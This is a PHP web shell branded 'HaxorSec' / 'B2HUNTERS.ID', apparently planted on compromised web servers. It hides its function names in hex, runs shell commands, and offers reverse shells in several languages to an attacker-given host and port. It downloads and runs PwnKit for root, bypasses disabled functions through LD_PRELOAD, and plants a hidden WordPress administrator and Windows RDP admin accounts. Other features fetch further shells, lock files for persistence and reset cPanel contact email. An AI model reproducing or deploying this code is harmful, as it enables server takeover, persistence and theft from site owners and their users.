0
"676c6f62", # gl ob => 1
"69735f646972", # is_d ir => 2
"69735f66696c65", # is_ file => 3
"69735f7772697461626c65", # is_wr iteable => 4
"69735f7265616461626c65", # is_re adble => 5
"66696c657065726d73", # fileper ms => 6
"66696c65", # f ile => 7
"7068705f756e616d65", # php_unam e => 8
"6765745f63757272656e745f75736572", # getc urrentuser => 9
"68746d6c7370656369616c6368617273", # html special => 10
"66696c655f6765745f636f6e74656e7473", # fil e_get_contents => 11
"6d6b646972", # mk dir => 12
"746f756368", # to uch => 13
"6368646972", # ch dir => 14
"72656e616d65", # ren ame => 15
"65786563", # exe c => 16
"7061737374687275", # pas sthru => 17
"73797374656d", # syst em => 18
"7368656c6c5f65786563", # sh ell_exec => 19
"706f70656e", # p open => 20
"70636c6f7365", # pcl ose => 21
"73747265616d5f6765745f636f6e74656e7473", # stre amgetcontents => 22
"70726f635f6f70656e", # p roc_open => 23
"756e6c696e6b", # un link => 24
"726d646972", # rmd ir => 25
"666f70656e", # fop en => 26
"66636c6f7365", # fcl ose => 27
"66696c655f7075745f636f6e74656e7473", # file_put_c ontents => 28
"6d6f76655f75706c6f616465645f66696c65", # move_up loaded_file => 29
"63686d6f64", # ch mod => 30
"7379735f6765745f74656d705f646972", # temp _dir => 31
"6261736536345F6465636F6465", # => bas e6 4 _decode => 32
"6261736536345F656E636F6465", # => ba se6 4_ encode => 33
"636f7079", # co py => 34
];
$hitung_array = count($Array);
for ($i = 0; $i < $hitung_array; $i++) {
$fungsi[] = unx($Array[$i]);
}
if (isset($_GET["d"])) {
$cdir = unx($_GET["d"]);
$fungsi[14]($cdir);
} else {
$cdir = $fungsi[0]();
}
function file_ext($file)
{
if (
mime_content_type($file) == "image/png" or
mime_content_type($file) == "image/jpeg"
) {
return ' ';
} elseif (
mime_content_type($file) == "application/x-httpd-php" or
mime_content_type($file) == "text/html"
) {
return ' ';
} elseif (mime_content_type($file) == "text/javascript") {
return ' ';
} elseif (
mime_content_type($file) == "application/zip" or
mime_content_type($file) == "application/x-7z-compressed"
) {
return ' ';
} elseif (mime_content_type($file) == "text/plain") {
return ' ';
} elseif (mime_content_type($file) == "application/pdf") {
return ' ';
} else {
return ' ';
}
}
function download($file)
{
if (file_exists($file)) {
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename($file));
header("Content-Transfer-Encoding: binary");
header("Expires: 0");
header("Cache-Control: must-revalidate");
header("Pragma: public");
header("Content-Length: " . filesize($file));
ob_clean();
flush();
readfile($file);
exit();
}
}
if (!empty($_GET["don"])) {
$FilesDon = download(unx($_GET["don"]));
}
?>
B2HUNTERS.ID [ = $_SERVER["SERVER_NAME"] ?> ]
$parts[0],
"pid" => $parts[1],
"cpu" => $parts[2],
"mem" => $parts[3],
"command" => implode(" ", array_slice($parts, 10)),
];
$processes[] = $process;
}
return $processes;
}
function getNetworkConnections()
{
$connections = [];
$output = cmd("netstat -tulnp 2>/dev/null");
$lines = explode("\n", $output);
array_shift($lines);
array_shift($lines);
foreach ($lines as $line) {
if (empty($line)) {
continue;
}
$parts = preg_split("/\s+/", $line);
if (count($parts) < 6) {
continue;
}
$connection = [
"proto" => $parts[0],
"local" => $parts[3],
"remote" => isset($parts[4]) ? $parts[4] : "-",
"status" => isset($parts[5]) ? $parts[5] : "-",
"pid" => isset($parts[6])
? explode("/", $parts[6])[0]
: "-",
];
$connections[] = $connection;
}
return $connections;
}
$sysInfo = getSystemInfo();
function formatMemory($bytes)
{
if ($bytes === "N/A") {
return "N/A";
}
$units = ["B", "KB", "MB", "GB", "TB"];
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, 2) . " " . $units[$pow];
}
$cpuLoadPercent =
$sysInfo["cpu_load"] !== "N/A"
? min(100, $sysInfo["cpu_load"] * 100)
: 0;
$memUsagePercent =
$sysInfo["mem_usage"] !== "N/A" && $sysInfo["mem_total"] !== "N/A"
? ($sysInfo["mem_usage"] / $sysInfo["mem_total"]) * 100
: 0;
$diskUsagePercent =
$sysInfo["disk_total"] !== "N/A" && $sysInfo["disk_used"] !== "N/A"
? ($sysInfo["disk_used"] / $sysInfo["disk_total"]) * 100
: 0;
function formatUptime($seconds)
{
if ($seconds === "N/A") {
return "N/A";
}
$hours = floor($seconds / 3600);
$minutes = floor(($seconds % 3600) / 60);
return sprintf("%dh %dm", $hours, $minutes);
}
function getDisabledFunctions()
{
$disabled = ini_get("disable_functions");
if (empty($disabled)) {
return [];
}
return explode(",", $disabled);
}
$importantFunctions = [
"exec",
"system",
"shell_exec",
"passthru",
"proc_open",
"popen",
"curl_exec",
"curl_multi_exec",
"parse_ini_file",
"show_source",
"symlink",
"putenv",
"mail",
"dl",
"chmod",
"chown",
"chgrp",
"link",
"fsockopen",
"pfsockopen",
"posix_kill",
"posix_mkfifo",
"posix_setpgid",
"posix_setsid",
"posix_setuid",
"pcntl_exec",
"imap_open",
"apache_setenv",
"proc_nice",
"proc_terminate",
"proc_get_status",
"escapeshellcmd",
"escapeshellarg",
"ini_restore",
"stream_socket_server",
];
$disabledFunctions = getDisabledFunctions();
$disabledImportant = array_intersect(
$importantFunctions,
$disabledFunctions
);
?>
Disabled Functions Check
Back
TOTAL CHECKED
= count(
$importantFunctions
) ?> functions
DISABLED
= count(
$disabledImportant
) ?> functions
ENABLED
= count(
$importantFunctions
) -
count(
$disabledImportant
) ?> functions
Critical Functions Status
Function
Status
= $func ?>
DISABLED
ENABLED
Showing all running processes. Click on a process to kill it.
PID
User
CPU %
MEM %
Command
Action
= $process[
"pid"
] ?>
= $process[
"user"
] ?>
= $process[
"cpu"
] ?>
= $process[
"mem"
] ?>
">= htmlspecialchars(
substr($process["command"], 0, 50)
) ?>
Showing all active network connections.
Protocol
Local Address
Remote Address
Status
PID
= $conn["proto"] ?>
= $conn[
"local"
] ?>
= $conn[
"remote"
] ?>
= $conn[
"status"
] ?>
= $conn[
"pid"
] ?>
Database Connection
setAttribute(
PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION
);
echo '
';
echo '
';
echo ' ';
echo "Database Information";
echo " ";
if (empty($db_name)) {
$stmt = $pdo->query("SHOW DATABASES");
$databases = $stmt->fetchAll(
PDO::FETCH_COLUMN
);
echo '
';
echo '
Available Databases ';
foreach ($databases as $database) {
echo '
";
}
echo "
";
} else {
$stmt = $pdo->query("SHOW TABLES");
$tables = $stmt->fetchAll(
PDO::FETCH_COLUMN
);
echo '
';
echo '
Tables in ' .
htmlspecialchars($db_name) .
" ";
foreach ($tables as $table) {
echo '
";
}
echo "
";
if (isset($_GET["table"])) {
$table = $_GET["table"];
if (
isset($_POST["delete_record"])
) {
$id_column =
$_POST["id_column"];
$id_value = $_POST["id_value"];
$stmt = $pdo->prepare(
"DELETE FROM `$table` WHERE `$id_column` = ?"
);
$stmt->execute([$id_value]);
echo '
Record deleted successfully.
';
}
if (isset($_POST["add_record"])) {
$columns = [];
$values = [];
$placeholders = [];
foreach (
$_POST
as $key => $value
) {
if (
strpos($key, "new_") ===
0
) {
$column = substr(
$key,
4
);
$columns[] = "`$column`";
$values[] = $value;
$placeholders[] = "?";
}
}
$sql =
"INSERT INTO `$table` (" .
implode(", ", $columns) .
") VALUES (" .
implode(
", ",
$placeholders
) .
")";
$stmt = $pdo->prepare($sql);
$stmt->execute($values);
echo '
Record added successfully.
';
}
if (
isset($_POST["update_record"])
) {
$id_column =
$_POST["id_column"];
$id_value = $_POST["id_value"];
$setParts = [];
$values = [];
foreach (
$_POST
as $key => $value
) {
if (
strpos(
$key,
"edit_"
) === 0
) {
$column = substr(
$key,
5
);
$setParts[] = "`$column` = ?";
$values[] = $value;
}
}
$values[] = $id_value;
$sql =
"UPDATE `$table` SET " .
implode(", ", $setParts) .
" WHERE `$id_column` = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute($values);
echo '
Record updated successfully.
';
}
?>
query("DESCRIBE `$table`");
$columns_info = $stmt->fetchAll(
PDO::FETCH_ASSOC
);
$primary_key = "";
foreach ($columns_info as $col) {
if ($col["Key"] == "PRI") {
$primary_key = $col["Field"];
break;
}
}
$stmt = $pdo->query(
"SELECT * FROM `$table` LIMIT 100"
);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo '
';
echo '
';
echo '
Data in ' .
htmlspecialchars($table) .
" ";
echo '';
echo ' Add Record';
echo " ";
echo "";
if (count($rows) > 0) {
echo '
';
echo '
';
echo "";
echo "";
foreach (array_keys($rows[0]) as $column) {
echo "" .
htmlspecialchars($column) .
" ";
}
echo "Actions ";
echo " ";
echo " ";
echo "";
foreach ($rows as $row) {
echo "";
foreach ($row as $value) {
echo "" .
htmlspecialchars($value) .
" ";
}
echo '';
echo '';
echo ' Edit';
echo " ";
echo '';
echo ' Delete';
echo " ";
echo " ";
echo " ";
}
echo " ";
echo "
";
echo "
";
} else {
echo '
No data found in this table.
';
}
echo "
";
}
}
echo "
";
} catch (PDOException $e) {
echo '
';
echo ' ';
echo "Connection failed: " .
htmlspecialchars($e->getMessage());
echo "
";
}
} ?>
Scan Directory
$path,
"signature" => $sig,
"line" => find_line_number(
$content,
$sig
),
];
break;
}
}
}
}
}
}
return $results;
}
function find_line_number($content, $search)
{
$lines = explode("\n", $content);
foreach ($lines as $i => $line) {
if (strpos($line, $search) !== false) {
return $i + 1;
}
}
return "N/A";
}
$deep_scan = $scan_type == "deep";
$scan_results = scan_directory(
$scan_dir,
$malware_signatures,
$deep_scan
);
echo '
';
echo '
';
echo ' ';
echo "Scan Results";
echo " ";
if (count($scan_results) > 0) { ?>
Found = count(
$scan_results
) ?> potential malware files!
';
echo '
No malware signatures found in scanned files.';
echo "
";}
echo "
";
} ?>
CPU LOAD
= $sysInfo[
"cpu_load"
] !== "N/A"
? round($sysInfo["cpu_load"], 2)
: "N/A" ?>
0%
= $sysInfo["cpu_load"] !== "N/A"
? round($sysInfo["cpu_load"], 2) . "%"
: "N/A" ?>
MEMORY
= formatMemory(
$sysInfo["mem_total"]
) ?>
0%
= $memUsagePercent > 0
? round($memUsagePercent, 2) . "%"
: "N/A" ?>
DISK
= $sysInfo[
"disk_total"
] !== "N/A"
? formatMemory($sysInfo["disk_total"])
: "N/A" ?>
0%
= $diskUsagePercent > 0
? round($diskUsagePercent, 2) . "%"
: "N/A" ?>
UPTIME
= formatUptime(
$sysInfo["uptime"]
) ?>
HOSTNAME
= $fungsi[8]() ?>
SOFTWARE
= $_SERVER[
"\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45"
] ?>
IP ADDRESS
= gethostbyname(
$_SERVER[
"\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"
]
) ?>
PHP VERSION
= PHP_VERSION ?>
$val) {
if ($val == "" && $id == 0) {
echo '
/
';
continue;
}
if ($val == "") {
continue;
}
echo '
/ ';
echo '
' .
$val .
" ";
}
?>
Home
NAME
SIZE
PERMISSIONS
ACTIONS
CREATE WORDPRESS ADMIN PASSWORD
×
Code Editor : = unx(
$_GET["f"]
) ?>
×
= $fungsi[10](
$fungsi[11]($fungsi[0]() . "/" . unx($_GET["f"]))
) ?>
Save
Close
test.txt");
$viewCommandResult =
"
Result: base64 : " .
$meterpreter .
"If no output appears, please check manually by opening " .
$full_url .
" Or u can check command with reverse shell script Powered By @ HaxorSec ";
$a($full . "/chankro.so", $base($hook));
$a($full . "/acpid.socket", $base($meterpreter));
$p("CHANKRO=" . $full . "/acpid.socket");
$p("LD_PRELOAD=" . $full . "/chankro.so");
if (function_exists("mail")) {
$m("a", "a", "a", "a");
echo $viewCommandResult;
$is_https =
(!empty($_SERVER["HTTPS"]) &&
$_SERVER["HTTPS"] !== "off") ||
$_SERVER["SERVER_PORT"] == 443;
$host = $_SERVER["HTTP_HOST"];
$script_path = $_SERVER["SCRIPT_NAME"];
$new_path = str_replace(
basename($script_path),
"test.txt",
$script_path
);
$full_url =
($is_https ? "https://" : "http://") .
$host .
$new_path;
sleep(5);
$content = file_get_contents($full_url);
echo $content;
} elseif (function_exists("mb_send_mail")) {
$mb("a", "a", "a", "a");
echo $viewCommandResult;
$is_https =
(!empty($_SERVER["HTTPS"]) &&
$_SERVER["HTTPS"] !== "off") ||
$_SERVER["SERVER_PORT"] == 443;
$host = $_SERVER["HTTP_HOST"];
$script_path = $_SERVER["SCRIPT_NAME"];
$new_path = str_replace(
basename($script_path),
"test.txt",
$script_path
);
$full_url =
($is_https ? "https://" : "http://") .
$host .
$new_path;
sleep(5);
$content = file_get_contents($full_url);
echo $content;
} elseif (function_exists("error_log")) {
$err("a", 1, "a");
echo $viewCommandResult;
$is_https =
(!empty($_SERVER["HTTPS"]) &&
$_SERVER["HTTPS"] !== "off") ||
$_SERVER["SERVER_PORT"] == 443;
$host = $_SERVER["HTTP_HOST"];
$script_path = $_SERVER["SCRIPT_NAME"];
$new_path = str_replace(
basename($script_path),
"test.txt",
$script_path
);
$full_url =
($is_https ? "https://" : "http://") .
$host .
$new_path;
sleep(5);
$content = file_get_contents($full_url);
echo $content;
} elseif (function_exists("imap_mail")) {
$imp("a", "a", "a");
echo $viewCommandResult;
($is_https =
(!empty($_SERVER["HTTPS"]) and
$_SERVER["HTTPS"] !== "off")) or
$_SERVER["SERVER_PORT"] == 443;
$host = $_SERVER["HTTP_HOST"];
$script_path = $_SERVER["SCRIPT_NAME"];
$new_path = str_replace(
basename($script_path),
"test.txt",
$script_path
);
$full_url =
($is_https ? "https://" : "http://") .
$host .
$new_path;
sleep(5);
$content = file_get_contents($full_url);
echo $content;
}
}
} ?>
" autofocus>
>
Swal.fire({
icon: 'success',
title: 'Success',
text: 'Operation completed successfully!',
confirmButtonColor: '#3b82f6',
background: '#0f172a',
color: '#e2e8f0',
timer: 3000,
showConfirmButton: true,
animation: true,
customClass: {
popup: 'animate__animated animate__fadeInDown'
}
})";
} elseif ($_GET["response"] == "failed") {
echo "";
} ?>
connect_error) {
failed();
die("Error Cug : " . $conn->connect_error);
}
$sql = "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES ('$wp_user', '$wp_pass', 'HaxorSec', '', '', NOW(), '', 0, 'HaxorSec')";
$sqltakeuserid = "SELECT ID FROM wp_users WHERE user_login = '$wp_user'";
if ($conn->query($sql) === true && $conn->query($sqltakeuserid)) {
$result = $conn->query($sqltakeuserid);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
$user_id = $row["ID"];
$sqlusermeta = "INSERT INTO wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES ('', $user_id, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')";
if ($conn->query($sqlusermeta) === true) {
Success();
} else {
echo "Error: " . $sqlusermeta . "\n" . $conn->error;
}
} else {
echo "User tidak ditemukan.\n";
}
Success();
} else {
echo "Error: " . $sql . "\n" . $conn->error;
}
$conn->close();
}
if (isset($_GET["unlockshell"])) {
if (cmd("killall -9 php") && cmd("pkill -9 php")) {
success();
} else {
failed();
}
}
if (isset($_POST["pid"])) {
if (cmd("kill " . $_POST["pid"])) {
success();
} else {
$name = cmd("ps -p " . $pid . " -o comm= 2>&1");
if (!empty($name)) {
$pkillOutput = cmd("pkill -9 $name 2>&1");
success();
} else {
failed();
}
}
exit();
}
if (isset($_POST["submit-bc"])) {
$HostServer = $_POST["backconnect-host"];
$PortServer = $_POST["backconnect-port"];
if ($_POST["haxorsec-bc"] == "perl") {
echo cmd(
'perl -e \'use Socket;$i="' .
$HostServer .
'";$p=' .
$PortServer .
';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");' .
$fungsi[16] .
'("/bin/sh -i");};\''
);
} elseif ($_POST["haxorsec-bc"] == "python") {
echo cmd(
'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' .
$HostServer .
'",' .
$PortServer .
'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
);
} elseif ($_POST["haxorsec-bc"] == "ruby") {
echo cmd(
'ruby -rsocket -e\'f=TCPSocket.open("' .
$HostServer .
'",' .
$PortServer .
").to_i;" .
$fungsi[16] .
' sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\''
);
} elseif ($_POST["haxorsec-bc"] == "bash") {
echo cmd(
"bash -i >& /dev/tcp/" .
$HostServer .
"/" .
$PortServer .
" 0>&1"
);
} elseif ($_POST["haxorsec-bc"] == "php") {
echo cmd(
'php -r \'$sock=fsockopen("' .
$HostServer .
'",' .
$PortServer .
");" .
$fungsi[16] .
'("/bin/sh -i <&3 >&3 2>&3");\''
);
} elseif ($_POST["haxorsec-bc"] == "nc") {
echo cmd(
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " .
$HostServer .
" " .
$PortServer .
" >/tmp/f"
);
} elseif ($_POST["haxorsec-bc"] == "sh") {
echo cmd(
"sh -i >& /dev/tcp/" . $HostServer . "/" . $PortServer . " 0>&1"
);
} elseif ($_POST["haxorsec-bc"] == "xterm") {
echo cmd("xterm -display " . $HostServer . ":" . $PortServer);
} elseif ($_POST["haxorsec-bc"] == "golang") {
echo cmd(
'echo \'package main;import"os/' .
$fungsi[16] .
'";import"net";func main(){c,_:=net.Dial("tcp","' .
$HostServer .
":" .
$PortServer .
'");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go'
);
}
}
if (isset($_GET["lockshell"])) {
$curFile = trim(
basename(
$_SERVER[
"\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"
]
)
);
$TmpNames = $fungsi[31]();
if (
file_exists(
$TmpNames .
"/.sessions/." .
$fungsi[33](
$fungsi[0]() . remove_dot($curFile) . "-handler"
)
) &&
file_exists(
$TmpNames .
"/.sessions/." .
$fungsi[33]($fungsi[0]() . remove_dot($curFile) . "-text")
)
) {
cmd(
"rm -rf " .
$TmpNames .
"/.sessions/." .
$fungsi[33]($fungsi[0]() . remove_dot($curFile) . "-text")
);
cmd(
"rm -rf " .
$TmpNames .
"/.sessions/." .
$fungsi[33](
$fungsi[0]() . remove_dot($curFile) . "-handler"
)
);
}
mkdir($TmpNames . "/.sessions");
cmd(
"cp $curFile " .
$TmpNames .
"/.sessions/." .
$fungsi[33]($fungsi[0]() . remove_dot($curFile) . "-text")
);
chmod($curFile, 0444);
$handler =
'
/dev/null 2>/dev/null &";
cmd($cmd);
success();
} else {
failed();
}
}
if (isset($_POST["haxorsec-up-submit"])) {
$namaFilenya = $_FILES["haxorsec-upload"]["name"];
$tmpName = $_FILES["haxorsec-upload"]["tmp_name"];
if ($fungsi[29]($tmpName, $fungsi[0]() . "/" . $namaFilenya)) {
success();
} else {
failed();
}
}
function generateRandomString($length = 10)
{
$characters =
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$charactersLength = strlen($characters);
$randomString = "";
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[random_int(0, $charactersLength - 1)];
}
return $randomString;
}
if (isset($_POST["bitninja-up-submit"])) {
$namaFilenyaa = $_FILES["bitninja-upload"]["name"];
$tmpNamee = $_FILES["bitninja-upload"]["tmp_name"];
if ($fungsi[29]($tmpNamee, $fungsi[0]() . "/" . $namaFilenyaa)) {
$ff = generateRandomString() . ".php";
@$GLOBALS["fungsi"][34]($namaFilenyaa, $ff);
echo "";
@$GLOBALS["fungsi"][24]($namaFilenyaa);
} else {
failed();
}
}
if (isset($_GET["destroy"])) {
$DOC_ROOT =
$_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];
$CurrentFile = trim(
basename(
$_SERVER[
"\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"
]
)
);
if ($fungsi[4]($DOC_ROOT)) {
$htaccess =
'
Deny from all
Allow from all
Allow from all
';
$put_htt = $fungsi[28]($DOC_ROOT . "/.htaccess", $htaccess);
if ($put_htt) {
success();
} else {
failed();
}
} else {
failed();
}
}
if (isset($_POST["save-editor"])) {
$save = $fungsi[28](
$fungsi[0]() . "/" . unx($_GET["f"]),
$_POST["code-editor"]
);
if ($save) {
success();
} else {
failed();
}
}
if (isset($_GET["adminer"])) {
$URL =
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x69\x74\x68\x75\x62\x2e\x63\x6f\x6d\x2f\x76\x72\x61\x6e\x61\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2f\x72\x65\x6c\x65\x61\x73\x65\x73\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x2f\x76\x34\x2e\x38\x2e\x31\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2d\x34\x2e\x38\x2e\x31\x2e\x70\x68\x70";
if (!$fungsi[3]("adminer.php")) {
$fungsi[28]("adminer.php", $fungsi[11]($URL));
success();
}
}
if (isset($_GET["ssi"])) {
$URL =
"https://raw.githubusercontent.com/tikung6etar/Nyarek/refs/heads/master/s.ShTmL";
if (!$fungsi[3]("403.shtml")) {
$fungsi[28]("403.shtml", $fungsi[11]($URL));
success();
}
}
if ($_GET["terminal"] == "root") {
if (!$fungsi[3]("pwnkit") && $fungsi[4]($fungsi[0]())) {
$fungsi[28](
"pwnkit",
$fungsi[11]("https://github.com/ly4k/PwnKit/raw/main/PwnKit")
);
cmd("chmod +x pwnkit");
echo cmd('./pwnkit "id" > .haxorsec-root');
echo ' ';
}
}
if (isset($_POST["submit-action"])) {
$items = $_POST["check"];
if ($_POST["haxorsec-select"] == "delete") {
foreach ($items as $it) {
$repl = str_replace("\\", "/", $fungsi[0]());
$fd = $repl . "/" . $it;
if (is_dir($fd)) {
$rmdir = unlinkDir($fd);
$rmdir ? success() : failed();
} elseif (is_file($fd)) {
$rmfile = $fungsi[24]($fd);
$rmfile ? success() : failed();
} else {
failed();
}
}
} elseif ($_POST["haxorsec-select"] == "unzip") {
foreach ($items as $it) {
$repl = str_replace("\\", "/", $fungsi[0]()); // Untuk Windows Path
$fd = $repl . "/" . $it;
if (ExtractArchive($fd, $repl . "/") == true) {
success();
} else {
failed();
}
}
} elseif ($_POST["haxorsec-select"] == "zip") {
foreach ($items as $it) {
$repl = str_replace("\\", "/", $fungsi[0]()); // Untuk Windows Path
$fd = $repl . "/" . $it;
if ($fungsi[3]($fd)) {
compressToZip(
$fd,
pathinfo($fd, PATHINFO_FILENAME) . ".zip"
);
}
}
}
}
if (isset($_POST["submit"])) {
if ($_POST["resetcp"] == true) {
$emailCp = $_POST["resetcp"];
$path0cp = dirname($_SERVER["DOCUMENT_ROOT"]);
$pathcp = $path0cp . "/.cpanel/contactinfo";
$contactinfo =
'
"email" : "' .
$emailCp .
'"
';
if ($fungsi[3]($pathcp)) {
$fungsi[28]($pathcp, $contactinfo);
echo ' ';
} else {
failed();
}
}
if ($_POST["create_folder"] == true) {
$NamaFolder = $fungsi[12]($_POST["create_folder"]);
if ($NamaFolder) {
success();
} else {
failed();
}
} elseif ($_POST["create_file"] == true) {
$namaFile = $fungsi[13]($_POST["create_file"]);
if ($namaFile) {
success();
} else {
failed();
}
} elseif ($_POST["renameFile"] == true) {
$renameFile = $fungsi[15](unx($_GET["re"]), $_POST["renameFile"]);
if ($renameFile) {
success();
} else {
failed();
}
} elseif ($_POST["chFile"]) {
$permString = $_POST["chFile"];
$permOctal = octdec($permString);
$chFiles = $fungsi[30](unx($_GET["ch"]), $permOctal);
if ($chFiles) {
success();
} else {
failed();
}
} elseif (
isset($_POST["add-username"]) &&
isset($_POST["add-password"])
) {
if (!$fungsi[3]("pwnkit")) {
cmd(
"wget https://github.com/ly4k/PwnKit/raw/main/pwnkit -O pwnkit"
);
cmd("chmod +x pwnkit");
cmd('./pwnkit "id" > .haxorsec-root');
echo ' ';
} elseif ($fungsi[3](".haxorsec-root")) {
$response = $fungsi[11](".haxorsec-root");
$r_text = explode(" ", $response);
if ($r_text[0] == "uid=0(root)") {
$username = $_POST["add-username"];
$password = $_POST["add-password"];
cmd(
'./pwnkit "useradd ' .
$username .
' ; echo -e "' .
$password .
'\n' .
$password .
'" | passwd ' .
$username .
'"'
);
} else {
echo ' ';
}
}
} elseif ($_POST["lockfile"] == true) {
$flesName = $_POST["lockfile"];
$TmpNames = $fungsi[31]();
if (
file_exists(
$TmpNames .
"/.sessions/." .
$fungsi[33](
$fungsi[0]() . remove_dot($flesName) . "-handler"
)
) &&
file_exists(
$TmpNames . "/.sessions/." . remove_dot($flesName) . "-text"
)
) {
cmd(
"rm -rf " .
$TmpNames .
"/.sessions/." .
$fungsi[33](
$fungsi[0]() . remove_dot($flesName) . "-text-file"
)
);
cmd(
"rm -rf " .
$TmpNames .
"/.sessions/." .
$fungsi[33](
$fungsi[0]() . remove_dot($flesName) . "-handler"
)
);
}
mkdir($TmpNames . "/.sessions");
cmd(
"cp $flesName " .
$TmpNames .
"/.sessions/." .
$fungsi[33](
$fungsi[0]() . remove_dot($flesName) . "-text-file"
)
);
cmd("chmod 444 " . $flesName);
$handler =
'
/dev/null 2>/dev/null &";
cmd($cmd);
success();
} else {
failed();
}
} elseif ($_POST["add-rdp"] == true) {
$userRDP = $_POST["add-rdp"];
$passRDP = $_POST["add-rdp-pass"];
if (stristr(PHP_OS, "WIN")) {
$procRDP = cmd(
"net user " . $userRDP . " " . $passRDP . " /add"
);
if ($procRDP) {
cmd("net localgroup administrators " . $userRDP . " /add");
success();
} else {
failed();
}
} else {
failed();
}
} elseif ($_POST["mail-from-smtp"] == true) {
$emailFrom = $_POST["mail-from-smtp"];
$emailTo = $_POST["mail-to-smtp"];
$emailSubject = $_POST["mailto-subject"];
$messageMail = $_POST["message-smtp"];
$headersMail =
"From: " .
$emailFrom .
"" .
"\r\n" .
"Reply-To: " .
$emailFrom .
"" .
"\r\n" .
"X-Mailer: PHP/" .
phpversion();
$procMailSmTp = mail(
$emailTo,
$emailSubject,
$messageMail,
$headersMail
);
if ($procMailSmTp) {
success();
} else {
failed();
}
}
}
if ($_GET["response"] == "success") {
echo "";
} elseif ($_GET["response"] == "failed") {
echo "";
}
function success()
{
echo ' ';
}
function failed()
{
echo ' ';
}
function formatSize($bytes)
{
$types = [
'B ',
'KB ',
'MB ',
'GB ',
'TB ',
];
for (
$i = 0;
$bytes >= 1024 && $i < count($types) - 1;
$bytes /= 1024, $i++
);
return round($bytes, 2) . " " . $types[$i];
}
function hx($n)
{
$y = "";
for ($i = 0; $i < strlen($n); $i++) {
$y .= dechex(ord($n[$i]));
}
return $y;
}
function unx($y)
{
$n = "";
for ($i = 0; $i < strlen($y) - 1; $i += 2) {
$n .= chr(hexdec($y[$i] . $y[$i + 1]));
}
return $n;
}
function suggest_exploit()
{
$uname = $GLOBALS["fungsi"][8]();
$xplod = explode(" ", $uname);
$xpld = explode("-", $xplod[2]);
$pl = explode(".", $xpld[0]);
return $pl[0] . "." . $pl[1] . "." . $pl[2];
}
function s()
{
$d0mains = @$GLOBALS["fungsi"][7]("/etc/named.conf", false);
if (!$d0mains) {
$dom =
"Cant Read [ /etc/named.conf ] ";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
$dom = "$count Domain";
}
return $dom;
}
function cmd($in, $re = false)
{
$out = "";
try {
if ($re) {
$in = $in . " 2>&1";
}
if (function_exists("\x65\x78\x65\x63")) {
@$GLOBALS["fungsi"][16]($in, $out);
$out = @join("\n", $out);
} elseif (function_exists("\x70\x61\x73\x73\x74\x68\x72\x75")) {
ob_start();
@$GLOBALS["fungsi"][17]($in);
$out = ob_get_clean();
} elseif (function_exists("\x73\x79\x73\x74\x65\x6d")) {
ob_start();
@$GLOBALS["fungsi"][18]($in);
$out = ob_get_clean();
} elseif (
function_exists("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63")
) {
$out = $GLOBALS["fungsi"][19]($in);
} elseif (
function_exists("\x70\x6f\x70\x65\x6e") &&
function_exists("\x70\x63\x6c\x6f\x73\x65")
) {
if (is_resource($f = @$GLOBALS["fungsi"][20]($in, "r"))) {
$out = "";
while (!@feof($f)) {
$out .= fread($f, 1024);
}
$GLOBALS["fungsi"][21]($f);
}
} elseif (function_exists("\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e")) {
$pipes = [];
$process = @$GLOBALS["fungsi"][23](
$in . " 2>&1",
[["pipe", "w"], ["pipe", "w"], ["pipe", "w"]],
$pipes,
null
);
$out = @$GLOBALS["fungsi"][22]($pipes[1]);
}
} catch (Exception $e) {
}
return $out;
}
function winpwd()
{
return str_replace("\\", "/", $GLOBALS["fungsi"][0]());
}
function compressToZip($sourceFile, $zipFilename)
{
$zip = new ZipArchive();
if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {
$zip->addFile($sourceFile, basename($sourceFile));
$zip->close();
success();
} else {
failed();
}
}
function remove_slash($val)
{
$tex = str_replace("/", "", $val);
$tex1 = str_replace(":", "", $tex);
$tex2 = str_replace("_", "", $tex1);
$tex3 = str_replace(" ", "", $tex2);
$tex4 = str_replace(".", "", $tex3);
return $tex4;
}
function unlinkDir($dir)
{
